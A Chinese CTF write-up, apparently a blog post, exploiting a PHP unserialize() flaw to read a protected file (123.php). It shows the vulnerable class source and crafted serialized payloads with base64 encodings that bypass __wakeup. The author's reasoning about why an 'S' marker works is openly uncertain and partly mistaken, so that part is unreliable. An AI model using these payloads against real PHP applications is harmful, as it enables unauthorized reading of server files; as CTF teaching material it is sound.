PHP反序列化漏洞-CTF实例

PHP反序列化漏洞-CTF

PHP反序列化漏洞-FIRST
PHP反序列化漏洞-SECOND

1.CTF实例

CTF实例源码:
strchr() 函数: 搜索字符串在另一字符串中的第一次出现,返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。
dirname(__FILE__)函数:表示当前文件绝对路径

//10.php
<?php  

  error_reporting(0); //关闭错误报告
    class happy{ 
        protected $file='index.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
                    show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('index.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in 123.php--> //密码在123.php文件中

分析:
isset()函数,当()中的值为空返回false,也就是说们通过GET传参,为空时显示index.php文件。

if (!isset($_GET['file']))
{
show_source('index.php');
}

在这里插入图片描述
构造payload

O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密后:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

在这里插入图片描述
我们发现此时我们构造的payload并没有生效,输出的为index.php页面。
在这里插入图片描述
对于此处,我搜查了一些资料,发现是对于保护变量进行外部修改时,属性标识符的问题,也就是s的问题,我们将s->S后,成功回显123.php

在PHP序列化格式中,不存在S与s标识有什么区别,所以我分析,应该为base64编码中对这块有什么特殊的规定,我暂时没有找到,希望大家看到此处时,明白其原由的请评论给我,谢谢

O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密后
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

成功打开123.php文件,漏洞利用成功…
在这里插入图片描述

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值